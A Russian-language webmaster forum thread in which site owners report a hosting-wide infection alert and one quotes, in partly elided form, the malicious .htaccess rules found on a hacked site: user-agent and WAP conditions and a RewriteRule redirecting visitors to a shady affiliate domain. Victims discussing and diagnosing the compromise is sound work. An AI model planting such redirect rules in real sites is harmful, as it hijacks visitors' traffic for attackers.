Вирус на сайте (?)

не разглядел редирект перед написанием, да все верно у вас из за него так, нод тоже ругается на антигугль.

кто то у вас поработал там.

Ага. Касперский подтверждаеэ

Здравствуйте,

А я бы поменял и обратно поставил бы хтаксеес и зашел бы с мобильного, посмотрел бы что это за партнерка и отписался бы в саппорт партнерки! И атата бы можно было сделать редиске взломщику :)

так там один только урл - www.antigoogle.ru не открывается, походу стуканули и накрыли инвалидов.. туда им и дорога..

Только не antigoogle, а antgoogle.

Сегодня обнаружил на всех сайтах площадки такую же хрень.

Утро началось недобро. На одном из сайтов такое...

Антивирусная проверка сайта шлет на мейл визги, что по адресу вида:

... /webalizer/usage_200801.html

обнаружено зло в виде:

winnow.botnet.ff.trojans.23137.UNOFFICIAL

В процессе проверки на сервере найдены "левые" файлы: index.php, cn.php, wap.php, config, system, где файл config составляет более 20 Мб. (нафига?)

В файле htaccess найдены традиционные для таких тем

RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]

RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]

RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]

...

RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]

...

RewriteRule ^(.*)$ http://adresdolbodyatlov.net/?a=u2w4t2w423m254l [L,R=302]

Естественно, пришлось писать в суппорт разобраться, что за фигня. Ответа пока не пришло.

Какие будут мнения?

На первый взгляд все дело может быть в Webalizer, там дыра и тогда это явный прокол хостера. Но может я и ошибаюсь, и нужно в своих скриптах дыру поискать, больше особо негде, так как каких-то внешних форумов, CMS и пр. на этом сайте не стоит. И PHP я не пользуюсь тоже.

Более интересный вопрос - украли ли какой-то контент с сайта и пр. информацию, так как там самописные скрипты и пр.? Как это можно определить? В чем цель взлома была?

Если просто детишки балуются, чтобы лишние пару-тройку $$$ с партнерки срубить, то ладно, а вот если чего украсть хотели, учетные данные пользователей и пр. - тут вопрос, может и в полицию заявить имеет смысл, так как сайт серьезный?

Вы случайно хоститесь не у РБК? Сегодня с утра на всех сайтах, которые расположены у них, обнаружен winnow.botnet.ff.trojans.23137.UNOFFICIAL. С утра шлют оповещения, что на сайтах вирусы.

+ 1 тоже прислали на несколько проектов ))

Подтверждаю информацию, Хостинг Центр РБК прислал такую же хрень - троян winnow.botnet.ff.trojans.23137.UNOFFICIAL.зараженных файлов больше 50

Подтверждаю! Сегодня ночью прислали уведомление, что сайт заражен (botnet.ff.trojans.23137). Проверил руками - ничего не нашел. Хостинг HC